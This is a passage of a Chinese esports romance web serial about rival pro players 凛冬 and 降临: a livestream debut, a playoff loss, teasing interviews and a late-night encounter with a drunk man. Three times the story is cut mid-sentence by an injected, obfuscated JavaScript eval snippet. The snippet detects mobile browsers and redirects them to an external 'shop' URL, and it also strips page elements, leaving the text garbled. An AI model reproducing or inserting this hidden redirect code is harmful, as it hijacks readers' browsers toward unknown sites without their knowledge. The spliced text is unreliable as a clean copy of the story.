吴庸随手翻了翻桌上的本子,又轻轻倒扣在桌上:“看在你诚心改过的份上,我再原谅你一次,但是没有下次。” 程知簌立刻正襟危坐:“是!” “咱们公司毕竟不是混娱乐圈的,之前公关做过好几轮,但是效果你也看到了——没用,粉丝不买账,反而越描越黑。” 喻霓给两人倒了杯茶。 吴庸接过轻抿一口,满意地点了点头:“所以我跟管理层的商量了一下,打算换个策略。” “什么策略?” “不否认。” 程知簌不明白。 “与其遮遮掩掩,被人扒,不如大大方方放在明面上。”喻霓接过话头,“我和无花也商量过了,我们三个本来就是从小一起长大的关系,这种事情是瞒不住的,粉丝不是傻子,你越否认,他们越来劲。” 程知簌弱弱道:“我也没有否认啊,说不熟的明明是周叙临。” “所以我与TwJing那边也联系了,都觉得这样的方法最好。”吴庸说,“我们打算让你在今晚直播的时候主动提这件事情,正好你也是首播,热度高、话题度也够。你就说你和他只是普通朋友,从小认识,一起打过全国大赛而已。” 程知簌沉默片刻。 “可是我不想,我不希望我的直播和其他扯上关系。” 吴庸和喻霓对视一眼。 “可以不提。”吴庸做了那么多年教练,太清楚职业选手的气性了,所以他愿意再退一步:“但你要想清楚,这件事不会自己消失,你不说,别人就会替你说,到时候传成什么样,谁也控制不了。” 程知簌知道他说的是对的。 但她就是讨厌这种被赶鸭子上架的感觉,讨厌自己的个人生活成为茶余饭后的谈资,讨厌“青梅竹马”这四个字被当成噱头来消费。 或许其实她更在意的是,她不知道自己该怎样定义和周叙临之间的关系。 普通朋友?不是,普通朋友不会接吻。 “我明白,吴经理。”程知簌很少用这种十分正经的表情说话,“我会处理的。” —— 程知簌的直播合同是前几天签的,在当前直播热度断层的猫咪直播。 很不巧的是,首播也刚好在这天。 不过因为今天这档子时,就算因此热度提高了很多,她也并没有很高兴。 但不乐意归不乐意,工作还是要做的。 好巧不巧,周叙临也发了今晚直播的通知。 “他是不是故意的?我都让无花跟他说让他这段时间低调一点了。” 喻霓看见周叙临的微博,气得吹胡子瞪眼——虽然她没胡子。 “你总算懂我了吧,这家伙脑子一直都不正常。” 喻霓想了想:“那我可得让无花离他远一点,别把我宝宝传染了!” 程知簌的嘴角抽了抽,心想,好像你也病得不轻,就别大哥还要说二弟了。 …… 直播的时候逢春也在。 他没有说什么多余的话,只是默默地看着程知簌笨拙的动作,时不时搭把手。 然后他又冷不丁开口:“你又上热搜了?” 程知簌奇怪地看他一眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522991|202522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经理刚才就在这儿,他不可能没听到刚才的话。 “又是和周叙临。” 程知簌觉得这话总有一股争风吃醋的劲。 “不就是那天吃饭的事情吗?我四个只是刚好在那遇上了。” 这个解释其实挺牵强,但该信的人会信,不该信的人怎么解释,都只会认为自己是对的。 “不是四个,是五个。” “什么?” “那一天,我就站在你们几个身后。” 程知簌觉得自己就像一只被绑住蟹钳的螃蟹。 没办法前进,没办法后退,只能左右逢源,左支右绌。 她尴尬地扯了扯嘴角:“是吗?我没注意。” 逢春点点头:“因为我不想被你们发现。” “你这话说的,好像我们干了什么不该干的事一样?” “难道……” “难道你还没开始吗?催播的评论都到我这里了。” 喻霓风风火火地冲进来,打断了逢春的话。 诡秘help诡秘。 她心里正乐颠颠想着这句话,就连喻霓不小心撞了她一下也没在意。 喻霓问:“还没开播吧。” 程知簌信心满满:“全弄好了,没按开始。” 喻霓点点头,又说:“刚才不是还一副苦大仇深的样子,怎么现在那么快就调理好了?” “说到这个就来气。”程知簌变脸速度之快犹如孙膑二技能加疾跑,“那周叙临偏偏也要选今晚开播,干嘛啊?抢我热度?” 她还想说两句不痛不痒的话,却见逢春敲了敲她的桌。 “你已经开播了。” 程知簌一脸僵硬地扭头,看见屏幕左下角自己呆滞的脸。 “我能不能说刚才的我不是真的我,是元歌的傀儡?” 【666我这辈子都不知道元歌的傀儡还能背上那么大一口锅】 【不熟姐经典语录+1】 【“不爱和不熟的人聊天”,那你和周叙临聊了十九年算什么哈哈哈哈哈】 【算青梅竹马(抢答)】 程知簌深知事情越描越黑的道理,假装没看见,清了清嗓子换话题:“今天首播,先打两把rank热热身,有什么问题打完再问。” 反正带节奏的都会被房管禁言,她只需要保证直播间和谐。 程知簌点开排位,选了个节奏型中单进游戏。 前十分钟顺风顺水,她的法师绕后切C跟喝水一样简单。 直到手机屏幕又亮起来。 【周叙临:你直播间的弹幕都在刷我】 程知簌手一抖,大招给了自家小猪。 【???】 【凛冬你在干什么】 【分心是中路的大忌!】 【是不是看手机了】 她边操作,边面不改色地打字回复——【你没有自己的直播吗?非要看别人的】 【周叙临:不能】 【周叙临:你刚才那波好菜】 【程知簌:……你闭嘴!!!】 这把赢了,但赢得不漂亮。 结算界面一出来,弹幕就开始拷问—— 【凛冬你刚才是不是在和谁聊天】 【表情都变了,肯定是在私聊】 【盲猜一个降临】 虽然程知簌嘴上在房管面前过了个瘾说带节奏的都封了,但她也是真的有贼心没贼胆啊!!! 18. 和平 18 程知簌去国外别的没学会,装聋作哑倒是一把好手。 弹幕关闭,直播间里的话全当看不见,将“我爱王者王者爱我”诠释了个淋漓尽致。 就连手机都被她扔到了一边,主打的就是一个眼不见为净。 两方正主都没对此事有什么表示,弹幕吵吵闹闹一会又趋于平静。 程知簌得以顺利完成新平台直播首秀。 只是她始终对周叙临也选择当天直播耿耿于怀,下播后就抄起手机在上面敲敲打打,一副气势汹汹的样子。 【凛冬:我求你以后离我远一点好吗?】 【凛冬:公开场合不许和我说话!】 【凛冬:不然我见一次骂你一次】 【周叙临:还有这种好事?】 【降临撤回了一条消息】 【凛冬:……】 【凛冬:滚!!!】 从昨天一起吃了饭后,程知簌意识到自己和周叙临的关系产生了微妙的变化。 不是一年前的老死不相往来,也有争锋相对的意味,但关系到底是更近了些的。 程知簌不会以为自己是通过人格魅力“征服”了这位小皇帝,但左思右想也没明白造成直线变曲的原因是什么。 总之只要他不乱发疯,她就能和他“和平共处”。 表面上的。 …… 六强遇到TwJing是意料之中的事情。 尽管程知簌本人对此次抽签结果是非常不满意的。 前期让两局的时候她还能笑着说没事后面赢回来,但第三局TwJing五人齐聚自家水晶打出一波完美团战的时候,她才真真切切意识到什么叫顶尖战队。 第四局,逢春站了出来,不要命的打法为队伍争取了时间,勉强将比分扳到3:1。 四五局连打,程知簌冲进卫生间洗了把脸。 冰凉的自来水拍在脸上,顺着血管末梢钻进皮肉里,刺|激着她的心脏。 抬头看着镜子时,眼周的妆容已经没了,只因为她长得白不显眼。 她嘟囔着这粉底液不防水啊,扭头出门的时候撞进一个人怀里。 他身上仍旧是好闻的柠檬与海,酸酸涩涩,冲进她的鼻腔。 “这么冒失?”周叙临说,“刚才也是。” “要你管!”程知簌留下这句恶狠狠的话,推开他往外走。 这一点时间说不了什么话,即便程知簌与周叙临都想。 第五局,程知簌掏出了自己的本命英雄,甄姬。 英雄亮出来的时候观众席小小地喧闹了一阵,很快呼声又更高一层 ——因为TwJing拿了个“三体人”海月。 赛点局掏海月是大忌,这一点由近几次比赛赛点海月胜率“高”至25%可见。 但TwJing显然是不在意这些的。 甄姬是个绝对的后期英雄,由于前期过弱更注重队友配合,在当前版本节奏过快的比赛中上场次数并不算多。 “加油。”晴朗鼓励道,“我们中野辅前期捆一起,双边发育就好,能避战避战。” 可有时候就是最不希望来什么就来什么。 开局对抗失利,给对面反红机会,拿了资源。 TwJing能拿三连冠就是因为他们有极其强大的运营能力,懂得如河运用优势。 十分钟,West三路高地告破。 十二分钟,晴朗前去带线,被秒换奔狼的辅助逮到,率先掉点。 TwJing带领队伍直攻West的水晶。 降临名刀血魔在身,冲进人群宛若战神,将三人斩于箭下。 执掌江郡的霸主挥舞着旗帜,向前方呐喊。 洛神站在水晶后,残碎的光屑从裙摆倾泻而下,凝于指尖叹息水流,缠住江东霸主的脚步。 但远远不够。 就像程知簌无法将降临挡在外面,与他划开界限。 她能感觉到自己的心跳变得很快,但看着屏幕中的甄姬,此刻的她又产生了一种诡异的平静。 总要面对的,她想。 所以她往前挪动了两步,离开泉水的范围。 孙权的身影骤然动身,拉弓搭箭,箭箭命中。 甄姬将二技能挂在他身上,又丢出所有技能,借力企图清除进入水晶的小兵。 可冰球在几人身上弹来弹去,却犹如挠痒痒,半分作用都没有。 程知簌心想,大概就止于此了。 周叙临的指尖在屏幕上游走,干净利落,操控着孙权突进、近身、锁头,再给甄姬一致命一击。 凌冽的风破开炽热、击碎冰霜,任凭漫天霜雪消散,只余黯然倒地的清冷。 但他多按了一下大招,瞬间冲进泉水最里面。 名刀破碎,他的身躯也轰然摔落,倒在甄姬的身旁。 [QuadraKill!]四杀。 水晶随之爆炸。 * 程知簌这辈子最讨厌的事有三件—— 一是输比赛,二是输给周叙临,三是输给周叙临之后还要和他拥抱。 第一件事偶尔发生,第二件也不可避免——毕竟现在的他们不同队,按概率学计算也总有一天要碰面。 第三件事则是官方规定的赛后礼仪,胜者要和败者握手拥抱,表示友谊第一比赛第二。 前者程知簌表示肯定,后者她是嗤之以鼻。 她和周叙临有个屁的友谊。 但凡他将她看成半个“友”,就该知道远离她,也不至于拖着她上了那么多次热搜。 …… 赛后握手,程知簌很早就站了起来。 她看着周叙临依次抱了抱山楂、晴朗,最后站在她的面前。 她对他挤出一个笑,然后说:“恭喜。” 有种咬牙切齿的意味。 周叙临看着程知簌伸出来的手,用指尖轻轻碰了下她的手心。 随后他又很快放下,扯过她给了她一个重重的拥抱。 他将她按在胸口,队服上各类赞助商的标签硌着她的脸颊,却依旧能让她听清他如潮水的、汹涌的心跳。 “傻掉了?”周叙临压低声音,语气里是十几年如一日的欠揍:“被我打懵了连探草都不会?” 他说得没错,最后一波晴朗带线,如果他们能提前排出敌方对抗路蹲点,就可以避免被其压位,试着接一接晴朗。 但这也就是事后诸葛。 程知簌想反驳说她一个甄姬怎么探草,但周叙临又很快松开。 整个过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535680|202522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程只持续了两秒,但程知簌却觉得过了很久。 久到潮水停滞,身心冰封。 …… 赛后胜者采访,TwJing这边只派了周叙临。 他今天的操作极其亮眼,前期就将对面射手压得喘不过气,到了中期简直是见谁谁残。 当然,最夸张的一幕,还是第一局的单杀。 他知道程知簌就蹲在那个草,故意往前卖了个破绽勾|引她,一波击杀奠定了整局的胜利。 主持螃蟹举起话筒:“我看见很多粉丝都在讨论你第一局的操作,能和我们分享一下当时的想法吗?” 周叙临的手指在话筒边缘摩挲了两下,随即扬起一个笑:“没什么,就是知道她在那里。” 螃蟹眼睛一亮:“看来降临对凛冬选手很熟悉嘛。” “算不上。”周叙临的笑收了点,“以前当过队友,有点了解。建议她别老盯着我,不然我会以为她想来我们队。” 台下有观众笑了出来。 螃蟹对周叙临的性格了如指掌,对他会说得那么直白并不意外。 但身为主持人,打打圆场还是很有必要的:“看来降临选手和凛冬选手私下很熟悉。那除了这之外,降临你对她今天的整体表现有什么看法吗?” 周叙临没有第一时间回答。 他抬头看着前方,默默思考着什么。 导播适时将镜头切向了后台——程知簌正站在通道口,准备等周叙临下场后接受败方采访。 她显然也听到了他的话,脸上的表情介于“被气得要命”和“别看我我不认识他”之间。 “她啊。”周叙临挑眉笑笑,“挺可爱的。” 程知簌愣了愣,总觉得狗嘴里吐出的象牙不一般。 但毕竟终于做了一回人,她也勉强愿意夸夸—— 没等她碎碎念完,周叙临又慢悠悠地补刀:“躺在峡谷的时候。” 台下爆发出更大的笑声。 程知簌觉得自己的血压在一瞬间飙升到了一百八。 她深吸一口气,在心里把周叙临骂了个遍,企图用语言将他大卸八块。 镜头还对着她,她不能生气,不能翻白眼,甚至不能露出一丝高兴的表情,因为他是一名职业选手,对面这个人是职业中的职业选手。 她僵硬地扯了扯嘴角,露出一个比哭还难看的笑。 周叙临下台的时候,程知簌恶狠狠地瞪了他一眼。 趁着镜头没转过来,还用肩膀撞了他一下,妥妥的小学生发泄手段。 等上了台,螃蟹问她对今天比赛的看法,她很快调整好表情,用准备好的套话回答,什么对手很强,我们还有很多不足,会好好复盘,目标是败者组一穿三之类的。 没什么新意,但主持最擅长的就是制造新意。 她“礼貌”询问了程知簌对于周叙临隔空喊话的看法。 程知簌保持脸上的表情,心里早已经把他骂了千万遍。 “谢谢降临选手的肯定。”程知簌露出一个微笑,“不过我觉得他装傻充愣的样子更可爱,毕竟他平时总说自己是世界上最聪明的人,能为我破例,我很感动。” 不知道其他人是怎么想的,反正今天过后,程知簌只觉得—— 什么和平共处,放屁吧! 19. 避嫌 19 一次失败不会将人打倒,一次愤怒却能让人记很久。 从胜者组半决落入败者组半决,程知簌脑子里一直转着这句话。 不是她要睚眦必报,实在是周叙临此人太可恨。 说和她不熟,嘴上又不饶人。 程知簌面无表情地咬一口面包,慢吞吞地想。 等她杀进决赛,看她怎么教训这不知天高地厚的家伙! …… 北京五月的天气算不上好。 不是刮风就下雨,为保护手里的笔记本,还得猫着身体将东西藏进外套里,上下班的时候略显狼狈。 天气不利,赛场得意。 也许是那天周叙临的嘲讽激起了大家的斗志,整支队伍对冠军的渴望如野草疯长。 每个人在训练室暗暗较劲,好像谁先去睡觉谁就输了。 总算功夫不负有心人,West在败者组一穿三,拿下了最后一张去往今年挑战者杯总决赛的门票。 败者决赛属于赢家的金色彩带飘落下来,落在它们的身上。 程知簌抬起头,有种恍如隔世的感觉。 明明已经淋过很多次金色雨,但走上前采访看见最后一片彩带颤巍巍飘落的时候,她还是很没见过世面地伸出手触碰,任凭它丝毫不差地落在掌心。 但即便见证了West的实力,还是没有很多人相信他们真的能拿下总决赛。 这一点战队明白,程知簌也明白。 采访的时候,她只是很平静地反问了句:“怎么就不能是我呢?” —— 当晚复盘结束,程知簌拒绝了队友点外卖的邀请,拉着喻霓去楼下吃宵夜。 “这都凌晨了还吃,第二天起床重五斤啊!”喻霓闭眼摇头,脸上写满了拒绝,一副不愿意沟通的样子。 桌上烧烤、小龙虾的香味做着扩散运动,一股脑地钻进她的鼻腔。 她悄悄睁开一只眼看,被程知簌逮了个正着。 “别装了,吃吧。”程知簌将一串烧烤塞进她的嘴巴,“我馋这家很久了。” 喻霓浅尝一口,这才勉为其难道:“行吧,我这是陪你吃的啊——你少吃点,还有七天就总决赛了。” “没事。”程知簌不以为然,“我点的微辣。” “反正你悠着点。对了,我明天早上去看看无花,有事给我打电话哦。” “你俩可真粘人。” “哪有啊,本来是说今晚去的,这不是凛冬选手特邀我吃宵夜嘛,我哪好意思拒绝。” 两人有一搭没一搭地聊着天,没发现隔壁那桌人开始对她们指指点点,最后还拿了一瓶酒走到她们面前。 “美女,这是我们请你的酒。” 男人脸颊通红,眼神迷离,走过来的步伐也不太稳。 程知簌闻到那人身上浓重的酒味,下意识皱眉,心脏深处传来一种莫名的紧张感。 但自身良好的教养又不能让她厉声喝止。 喻霓察觉到她的反应,没细究是为什么,只转头对男人说:“我们酒精过敏,不能喝酒,你拿回去。” “送给美女的东西怎么好意思收回去呢?” 男人明显是不信,还看了后面桌子上的人一眼,高声道:“美女是一点面子都不给啊。” “我们为什么要给你面子?”喻霓直接呛了回去,“说了酒精过敏。” “哎哟,怎么还生气了?” 男人又往前凑了半步:“不会连这个面子都不给吧。” 浓重的酒气扑面而来,程知簌的胃真的开始翻涌。 她往后仰了仰身体,手指无意识地攥紧了桌沿。 她们坐的位置在路边,灯光昏暗,和室内隔着些距离。 老板在店内忙碌没注意这边发生的事情,隔壁桌的几个男人都在往这边看,脸上挂着看好戏的笑。 程知簌觉得自己的头愈发晕了。 酒精的味道、陌生男人的逼近、昏暗的光线——这些元素组合在一起,与记忆里某处悄然重合。 程知簌晃了晃脑子拼命让自己想起来,但只让她更加不适。 她攥着胸口的衣服,轻声喘息着,用的力气很大。 心跳得越来越快,几乎是有什么未知的东西在顺着她的脊柱往上爬,惊起她一身冷汗。 她看着面前的男人,想说什么,但张了张嘴,却一个音节都没办法发出来。 男人看见她的动作有点慌神,但嘴上还是说:“现在的年轻人啊,一点人情世故都不懂。” 喻霓站起来:“你再不走我报警了。” “报警?我们又没干什么。”男人见状又来劲了,笑嘻嘻地摊开手,晃了晃酒瓶:“就是请美女喝杯酒而已,至于——” “至于。” 一只手从侧面伸过来,稳稳地扣住了那个男人握着酒瓶的手腕。 他的手劲很大,大到那个醉酒男人的表情由嬉皮笑脸变成了龇牙咧嘴。 “她说她酒精过敏,没听见?” 程知簌抬起头。 惨白的光打在她身上也是惨白的,打在周叙临身上却如忽然降临的救世主,周身镀了一圈不容侵|犯的光。 醉酒男人被捏得生疼,酒瓶“啪嗒”一声掉在桌上,啤酒沫溅出来,弄脏了桌布。 他被下了面子,恼羞成怒地挣扎了两下,没能挣脱。 “你谁啊你!” 服务员正好出来上菜,见状急急忙忙回去告诉老板。 “别——”程知簌看着周叙临的动作,突然出声,但又噤声。 别干什么? 她的脑子还有些发蒙,不明白自己为什么喊了出来,就好像只是条件反射。 周叙临这才松开了手。 他没理男人,径直抽了张纸。 程知簌顺着他的动作看去,见周叙临轻轻擦掉她手背被溅到的酒沫,接着再抽出一张,给自己擦。 他的五指修长,甲型漂亮圆润,穿梭在洁白的纸巾间,有种不一样的美感。 醉酒男人的同伴过来拉他,嘴里说着“喝多了喝多了”“不好意思啊”,半拖半拽地把人拉走了。 周叙临往前走一步:“道歉。” 醉酒男人还在叫嚷:“刚不是说了?” “我要求你,向他们道歉。”周叙临语气很冷,“否则……” 他扭头对着走出来的老板说:“老板,门口有监控吧。” 老板点点头:“当然,我调出来给你。” 说罢,他转身作势要去。 “哎哎哎别去。”醉酒男人这会是真的酒醒了,左右看了看才向程知簌和喻霓道歉,和朋友火速结账离开。 周叙临这才拉凳子坐下,将口袋里的薄荷糖掏出来。 “吃点,压压恶心。” 程知簌接过,内心的不适褪了些,小声说:“谢了。” 周叙临这下不像前段时间反应那么大了,只淡淡应声。 他看着满桌的竹签和虾壳,皱了下眉。 “以后你们两个女生不要大晚上出门,很危险。” 程知簌瞪大眼:“这又不是我们的问题!” 怎么一副被害者有罪论的样子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539920|202522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果周叙临能听见她的心声,一定会高呼自己冤枉。 “我没说你们有问题。”他顿了顿,脸上有种少见的不自在:“我是说,以后晚上要出去可以找我陪你们。” 喻霓在旁边看了半天戏,表情微妙:“TwJing离我们这那么远,你怎么知道我们在这的?” 周叙临面不改色:“夜跑。” 在凌晨一点的北京城跑步,这人说话的技术还是一如既往地烂。 程知簌和喻霓对视一眼,显然不信。 但她没急着追问。 她回忆起刚才周叙临的动作,脑海里突然闪过一些画面—— 嘈杂的音乐,昏暗的灯光,熏熏然的酒气,还有似有若无的柠檬海洋。 很熟悉,但她一时半会真想不起自己有在哪里见过这样的场景。 “簌簌,怎么了?”喻霓问。 “没事。”程知簌摇摇头,觉得是她想多了。 “芋泥!”无花在道路另一头,朝她们挥挥手。 喻霓一脸惊喜,激动地站了起来:“花花!你怎么来了。” “来给你惊喜呀。”无花笑了笑,将藏在身后的粉玫瑰拿出来。 “虽然我的ID是‘无花’但我答应你,见你的时候不能‘无花’。” 喻霓一脸感动:“谢谢花花,我好喜欢。” 无花微笑着摸|摸喻霓的头:“那是喜欢花还是喜欢我?” “喜欢你!” “——我不知道你们喜不喜欢,反正我是不太喜欢。” 程知簌的嘴角抽了抽,起身后退,决定离这对肉麻的情侣远一点。 周叙临和她有着同款表情,但脸上更多的是“还能这样”。 最后当然是喻霓和无花珍惜这不容易的一次见面,独留两单身人士在风中凌乱。 牵着手的小情侣有多亲亲热热,他们这就有多冷冷清清。 “我送你回去。”周叙临拿过程知簌放在桌上的包。 程知簌企图抢回来,但拔河无果,又怕扯坏,只能在嘴皮子下功夫。 “不用,我自己回去,你给我。” 周叙临没有回答“好”还是“不好”。 他沉默地看了她一会,见她随手扎的丸子头乱糟糟的,伸手想拨弄一下。 但程知簌避开了他的动作。 周叙临的手在半空中僵住,又若无其事地收回。 他低声说:“你好像一直在躲着我。” 好熟悉的话,程知簌想。 “我哪有。”她当然是不可能承认的,“每天训练都要累死了,你还有心思想这种?” “哦,是这样啊。” 周叙临垂眼看着她,话语随动作缓缓逼近:“你怎么知道我没时间想?难道你想过我?” 诡辩的人真讨厌! 程知簌怒目圆视:“说话就说话,靠那么近干什么?” 但周叙临可听不进去。 他往前一步,程知簌就往后缩一步。 意识到自己的动作有多么容易让人误会,她猛地提高音量:“你干嘛?我告诉你啊,你离我远一点。” 她表情愤愤:“我倒是发现了,一靠近你,准没什么好事。” 周叙临盯着她看了一会:“所以说你是要跟我避嫌?” 程知簌思考片刻,肯定地点了点头。 “那你知不知道有一句话?”周叙临被她的表情逗乐,“越避嫌越有问题。” “谁、谁要跟你避嫌了?”程知簌气鼓鼓地瞪着他,“我这人,就不爱和不熟的人聊天!”